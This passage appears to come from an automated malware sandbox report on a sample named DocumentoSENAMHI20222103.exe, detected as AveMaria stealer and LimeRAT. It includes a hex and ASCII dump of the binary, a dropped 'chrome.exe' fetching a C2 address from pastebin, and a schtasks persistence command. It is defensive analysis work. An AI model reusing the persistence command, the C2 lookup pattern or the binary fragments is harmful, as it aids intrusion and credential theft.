00 00 0a 2d 37 72 07 00 00 70 28 12 00 00 06 2d 2b 28 1f 00 00 0a 2d 24 28 20 00 00 0a 2d 1d 72 1f 00 00 70 28 21 00 00 0a 72 2d 00 00 70 28 22 00 00 0a 28 23 00 00 0a 2d 02 de 41 72 49 00 00 70 28 24 00 00 0a 28 28 00 00 06 72 9b 00 00 70 28 25 00 00 0a 72 9b 00 00 70 28 26 00 00 0a 16 16 15 28 27 00 00 0a 26 28 28 00 00 0a de 0e 25 28 29 00 00 0a 0a 28 2a 00 00 0a de 00 2a 01 10 00 00 00 00 00 00 91 91 00 0e 14 00 00 01 1b 30 03 00 e3 00 00 00 03 00 00 11 72 9f 00
                                  Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL )bnn @ @O H.texttm n `.relocp@BPH`GEV(*(*ssss*.~o*.~o*.~o*.~o*6((*(*.(*(*0-(++*"*(*r~-(+~*0(-W(oorp(o-7rp(-+(-$( -rp(!r-p("(#-ArIp($((rp(%rp(&('&((%()(**0r


                                  HTTPS Proxied Packets

                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                  0192.168.11.2049764104.23.98.190443C:\Users\user\AppData\Local\Temp\chrome.exe
                                  TimestampkBytes transferredDirectionData
                                  2022-03-21 13:45:56 UTC0OUTGET /raw/03PEm7js HTTP/1.1
                                  Host: pastebin.com
                                  Connection: Keep-Alive
                                  2022-03-21 13:45:56 UTC0INHTTP/1.1 200 OK
                                  Date: Mon, 21 Mar 2022 13:45:56 GMT
                                  Content-Type: text/plain; charset=utf-8
                                  Transfer-Encoding: chunked
                                  Connection: close
                                  x-frame-options: DENY
                                  x-content-type-options: nosniff
                                  x-xss-protection: 1;mode=block
                                  cache-control: public, max-age=1801
                                  CF-Cache-Status: HIT
                                  Age: 761
                                  Last-Modified: Mon, 21 Mar 2022 13:33:15 GMT
                                  Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                  Server: cloudflare
                                  CF-RAY: 6ef7217e4ce95b32-FRA
                                  2022-03-21 13:45:56 UTC0INData Raw: 31 33 0d 0a 31 37 32 2e 31 31 31 2e 32 34 32 2e 32 30 3a 32 30 33 33 0d 0a
                                  Data Ascii: 13172.111.242.20:2033
                                  2022-03-21 13:45:56 UTC0INData Raw: 30 0d 0a 0d 0a
                                  Data Ascii: 0


                                  Statistics

                                  Behavior

                                  Click to jump to process

                                  System Behavior

                                  General

                                  Target ID:1
                                  Start time:14:42:24
                                  Start date:21/03/2022
                                  Path:C:\Users\user\Desktop\DocumentoSENAMHI20222103.exe
                                  Wow64 process (32bit):true
                                  Commandline:"C:\Users\user\Desktop\DocumentoSENAMHI20222103.exe"
                                  Imagebase:0xbd0000
                                  File size:1320960 bytes
                                  MD5 hash:81BA3D2DE48272D692C4E6604E6B1DB9
                                  Has elevated privileges:true
                                  Has administrator privileges:true
                                  Programmed in:C, C++ or other language
                                  Yara matches:
                                  • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.83503240355.00000000013B4000.00000002.00001000.00020000.00000000.sdmp, Author: Joe Security
                                  • Rule: JoeSecurity_AveMaria, Description: Yara detected AveMaria stealer, Source: 00000001.00000002.83503240355.00000000013B4000.00000002.00001000.00020000.00000000.sdmp, Author: Joe Security
                                  • Rule: Codoso_Gh0st_1, Description: Detects Codoso APT Gh0st Malware, Source: 00000001.00000002.83505519609.0000000002FE0000.00000040.00001000.00020000.00000000.sdmp, Author: Florian Roth
                                  • Rule: JoeSecurity_UACMe, Description: Yara detected UACMe UAC Bypass tool, Source: 00000001.00000002.83505519609.0000000002FE0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                  • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.83505519609.0000000002FE0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                  • Rule: JoeSecurity_AveMaria, Description: Yara detected AveMaria stealer, Source: 00000001.00000002.83505519609.0000000002FE0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                  • Rule: Codoso_Gh0st_1, Description: Detects Codoso APT Gh0st Malware, Source: 00000001.00000003.79799775147.000000000118E000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth
                                  • Rule: JoeSecurity_UACMe, Description: Yara detected UACMe UAC Bypass tool, Source: 00000001.00000003.79799775147.000000000118E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                  • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.79799775147.000000000118E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                  • Rule: JoeSecurity_AveMaria, Description: Yara detected AveMaria stealer, Source: 00000001.00000003.79799775147.000000000118E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                  • Rule: Codoso_Gh0st_1, Description: Detects Codoso APT Gh0st Malware, Source: 00000001.00000002.83503482474.00000000014EF000.00000002.00001000.00020000.00000000.sdmp, Author: Florian Roth
                                  • Rule: JoeSecurity_UACMe, Description: Yara detected UACMe UAC Bypass tool, Source: 00000001.00000002.83503482474.00000000014EF000.00000002.00001000.00020000.00000000.sdmp, Author: Joe Security
                                  • Rule: Codoso_Gh0st_1, Description: Detects Codoso APT Gh0st Malware, Source: 00000001.00000003.79809451868.000000000118E000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth
                                  • Rule: JoeSecurity_UACMe, Description: Yara detected UACMe UAC Bypass tool, Source: 00000001.00000003.79809451868.000000000118E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                  • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.79809451868.000000000118E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                  • Rule: JoeSecurity_AveMaria, Description: Yara detected AveMaria stealer, Source: 00000001.00000003.79809451868.000000000118E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                  • Rule: Codoso_Gh0st_1, Description: Detects Codoso APT Gh0st Malware, Source: 00000001.00000003.79799132484.000000000117E000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth
                                  • Rule: JoeSecurity_UACMe, Description: Yara detected UACMe UAC Bypass tool, Source: 00000001.00000003.79799132484.000000000117E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                  • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.79799132484.000000000117E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                  • Rule: JoeSecurity_AveMaria, Description: Yara detected AveMaria stealer, Source: 00000001.00000003.79799132484.000000000117E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                  • Rule: Codoso_Gh0st_1, Description: Detects Codoso APT Gh0st Malware, Source: 00000001.00000003.79810306933.000000000117A000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth
                                  • Rule: JoeSecurity_UACMe, Description: Yara detected UACMe UAC Bypass tool, Source: 00000001.00000003.79810306933.000000000117A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                  • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.79810306933.000000000117A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                  • Rule: JoeSecurity_AveMaria, Description: Yara detected AveMaria stealer, Source: 00000001.00000003.79810306933.000000000117A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                  Reputation:low

                                  General

                                  Target ID:12
                                  Start time:14:44:42
                                  Start date:21/03/2022
                                  Path:C:\Windows\SysWOW64\cmd.exe
                                  Wow64 process (32bit):true
                                  Commandline:C:\Windows\System32\cmd.exe
                                  Imagebase:0xc80000
                                  File size:236544 bytes
                                  MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                  Has elevated privileges:true
                                  Has administrator privileges:true
                                  Programmed in:C, C++ or other language
                                  Reputation:moderate

                                  General

                                  Target ID:13
                                  Start time:14:44:42
                                  Start date:21/03/2022
                                  Path:C:\Windows\System32\conhost.exe
                                  Wow64 process (32bit):false
                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                  Imagebase:0x7ff70ba20000
                                  File size:875008 bytes
                                  MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                  Has elevated privileges:true
                                  Has administrator privileges:true
                                  Programmed in:C, C++ or other language
                                  Reputation:moderate

                                  General

                                  Target ID:15
                                  Start time:14:44:49
                                  Start date:21/03/2022
                                  Path:C:\Users\user\AppData\Roaming\wtqsCpda..exe
                                  Wow64 process (32bit):true
                                  Commandline:"C:\Users\user\AppData\Roaming\wtqsCpda..exe"
                                  Imagebase:0x540000
                                  File size:29184 bytes
                                  MD5 hash:3D7801D573CAB12F3093C219EBFE495C
                                  Has elevated privileges:true
                                  Has administrator privileges:true
                                  Programmed in:.Net C# or VB.NET
                                  Yara matches:
                                  • Rule: JoeSecurity_LimeRAT, Description: Yara detected LimeRAT, Source: 0000000F.00000000.79892756744.0000000000542000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security
                                  • Rule: JoeSecurity_LimeRAT, Description: Yara detected LimeRAT, Source: 0000000F.00000000.79892233843.0000000000542000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security
                                  • Rule: JoeSecurity_LimeRAT, Description: Yara detected LimeRAT, Source: 0000000F.00000000.79893250831.0000000000542000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security
                                  • Rule: JoeSecurity_LimeRAT, Description: Yara detected LimeRAT, Source: 0000000F.00000002.80311999722.0000000000542000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security
                                  • Rule: JoeSecurity_LimeRAT, Description: Yara detected LimeRAT, Source: 0000000F.00000000.79893776213.0000000000542000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security
                                  • Rule: JoeSecurity_LimeRAT, Description: Yara detected LimeRAT, Source: 0000000F.00000002.80316124713.0000000002B22000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                  • Rule: JoeSecurity_LimeRAT, Description: Yara detected LimeRAT, Source: C:\Users\user\AppData\Roaming\wtqsCpda..exe, Author: Joe Security
                                  • Rule: MALWARE_Win_LimeRAT, Description: LimeRAT payload, Source: C:\Users\user\AppData\Roaming\wtqsCpda..exe, Author: ditekSHen
                                  Antivirus matches:
                                  • Detection: 100%, Avira
                                  • Detection: 100%, Joe Sandbox ML
                                  • Detection: 93%, ReversingLabs
                                  Reputation:low

                                  General

                                  Target ID:16
                                  Start time:14:45:07
                                  Start date:21/03/2022
                                  Path:C:\Windows\SysWOW64\schtasks.exe
                                  Wow64 process (32bit):true
                                  Commandline:schtasks /create /f /sc ONLOGON /RL HIGHEST /tn LimeRAT-Admin /tr "'C:\Users\user\AppData\Local\Temp\chrome.exe'"
                                  Imagebase:0x450000
                                  File size:187904 bytes
                                  MD5 hash:478BEAEC1C3A9417272BC8964ADD1CEE
                                  Has elevated privileges:true
                                  Has administrator privileges:true
                                  Programmed in:C, C++ or other language
                                  Yara matches:
                                  • Rule: JoeSecurity_LimeRAT, Description: Yara detected LimeRAT, Source: 00000010.00000002.80087663971.0000000002BB0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                  • Rule: JoeSecurity_LimeRAT, Description: Yara detected LimeRAT, Source: 00000010.00000002.80088120152.0000000002DA0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                  Reputation:low

                                  General

                                  Target ID:17
                                  Start time:14:45:08
                                  Start date:21/03/2022
                                  Path:C:\Windows\System32\conhost.exe
                                  Wow64 process (32bit):false
                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                  Imagebase:0x7ff70ba20000
                                  File size:875008 bytes
                                  MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                  Has elevated privileges:true
                                  Has administrator privileges:true
                                  Programmed in:C, C++ or other language
                                  Reputation:moderate

                                  General

                                  Target ID:18
                                  Start time:14:45:09
                                  Start date:21/03/2022
                                  Path:C:\Users\user\AppData\Local\Temp\chrome.exe
                                  Wow64 process (32bit):true
                                  Commandline:C:\Users\user\AppData\Local\Temp\chrome.exe
                                  Imagebase:0x760000
                                  File size:29184 bytes
                                  MD5 hash:3D7801D573CAB12F3093C219EBFE495C
                                  Has elevated privileges:true
                                  Has administrator privileges:true
                                  Programmed in:.Net C# or VB.NET
                                  Yara matches:
                                  • Rule: JoeSecurity_LimeRAT, Description: Yara detected LimeRAT, Source: 00000012.00000000.80097480691.0000000000762000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security
                                  • Rule: JoeSecurity_LimeRAT, Description: Yara detected LimeRAT, Source: 00000012.00000002.83499752484.0000000000762000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security
                                  • Rule: HKTL_NET_GUID_Lime_RAT, Description: Detects VB.NET red/black-team tools via typelibguid, Source: 00000012.00000002.83513493821.00000000053D0000.00000004.08000000.00040000.00000000.sdmp, Author: Arnim Rupp
                                  • Rule: HKTL_NET_GUID_Lime_RAT, Description: Detects VB.NET red/black-team tools via typelibguid, Source: 00000012.00000002.83513636630.00000000053F0000.00000004.08000000.00040000.00000000.sdmp, Author: Arnim Rupp
                                  • Rule: JoeSecurity_LimeRAT, Description: Yara detected LimeRAT, Source: C:\Users\user\AppData\Local\Temp\chrome.exe, Author: Joe Security
                                  • Rule: MALWARE_Win_LimeRAT, Description: LimeRAT payload, Source: C:\Users\user\AppData\Local\Temp\chrome.exe, Author: ditekSHen
                                  Antivirus matches:
                                  • Detection: 100%, Avira
                                  • Detection: 100%, Joe Sandbox ML
                                  • Detection: 93%, ReversingLabs
                                  Reputation:low

                                  General

                                  Target ID:19
                                  Start time:14:45:24
                                  Start date:21/03/2022
                                  Path:C:\Users\user\AppData\Local\Temp\chrome.exe
                                  Wow64 process (32bit):true
                                  Commandline:"C:\Users\user\AppData\Local\Temp\chrome.exe"
                                  Imagebase:0xa20000
                                  File size:29184 bytes
                                  MD5 hash:3D7801D573CAB12F3093C219EBFE495C
                                  Has elevated privileges:true
                                  Has administrator privileges:true
                                  Programmed in:.Net C# or VB.NET
                                  Yara matches:
                                  • Rule: JoeSecurity_LimeRAT, Description: Yara detected LimeRAT, Source: 00000013.00000000.80248070314.0000000000A22000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security
                                  • Rule: JoeSecurity_LimeRAT, Description: Yara detected LimeRAT, Source: 00000013.00000000.80247515540.0000000000A22000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security
                                  • Rule: JoeSecurity_LimeRAT, Description: Yara detected LimeRAT, Source: 00000013.00000002.80404784517.0000000000A22000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security
                                  • Rule: JoeSecurity_LimeRAT, Description: Yara detected LimeRAT, Source: 00000013.00000000.80246486829.0000000000A22000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security
                                  • Rule: JoeSecurity_LimeRAT, Description: Yara detected LimeRAT, Source: 00000013.00000000.80246995488.0000000000A22000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security
                                  Reputation:low

                                  Disassembly

                                  ⊘No disassembly